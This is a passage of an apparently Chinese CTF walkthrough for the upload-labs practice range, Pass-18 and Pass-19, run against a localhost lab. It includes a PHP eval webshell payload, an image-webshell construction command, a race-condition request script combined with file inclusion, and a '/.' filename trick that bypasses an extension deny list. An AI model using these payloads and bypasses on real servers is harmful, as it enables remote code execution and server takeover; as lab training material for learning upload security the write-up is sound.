            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
    
    
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
    
    
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
    
    
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
    
    
      $ret = $this->renameFile();
      if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

其中关键语句是

$ret = $this->move();
if( $ret != 1 ){
    
    
    return $this->resultUpload( $ret );    
}

if( $this->cls_rename_file == 1 ){
    
    
    $ret = $this->renameFile();
    if( $ret != 1 ){
    
    
        return $this->resultUpload( $ret );    
    }
}

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

cmd执行命令

copy 111.png/b+upload.php upload.jpg

image-20230803180927413

其中upload.php的内容为

<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>

但是这道题的myupload.php文件的上传路径好像有问题,修改一下

image-20230803180540936

$this->cls_upload_dir = $dir;修改为 $this->cls_upload_dir = $dir.'/';

然后上传图片马,用burp拦截后发送到测试器(Intruder),配置方面与上一关没区别

image-20230803181225084

image-20230803181241589

再修改一下脚本,这里就不能直接访问了,要利用我们之前写的文件包含文件进行访问,重新构造一下脚本

import requests
url = "http://127.0.0.1/upload-labs/include.php?file=/Pass-18/upload.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

脚本配置好了之后,就可以用Burp攻击,同时运行脚本,成功创建Leaf.php

但是因为include.php文件是在上一级,所以执行是在上一级目录执行的,也就是Leaf.php被创建在了upload-labs目录下

image-20230803182107879

访问Leaf.phpgetshell

image-20230803182854418

Pass-19

/.绕过

提示:

本pass的取文件名通过$_POST来获取。

源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
    
    
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
    
     
                $is_upload = true;
            }else{
    
    
                $msg = '上传失败!';
            }
        }else{
    
    
            $msg = '禁止保存为该类型文件!';
        }

    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

我们发现这关允许我们重命名上传的文件,其中重命名的参数$file_name是可控的。这里有一个trick,move_uploaded_file会忽略掉文件末尾的/.,因此我们命名为XXX.php/.,这样后缀不在黑名单中,即可实现绕过

首先我们先上传图片马,然后用burp抓包

image-20230803183520557

然后将文件重命名为shell.php/.

image-20230803183706273

上传后访问,成功getshell

image-20230803183736819


upload-labs就这样了,关于文件上传的漏洞目前实战中也不太多,接下来就要往别的方面去努力了,共勉

文章借鉴:
Upload-labs 1-21关 靶场通关攻略(全网最全最完整)

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/132090006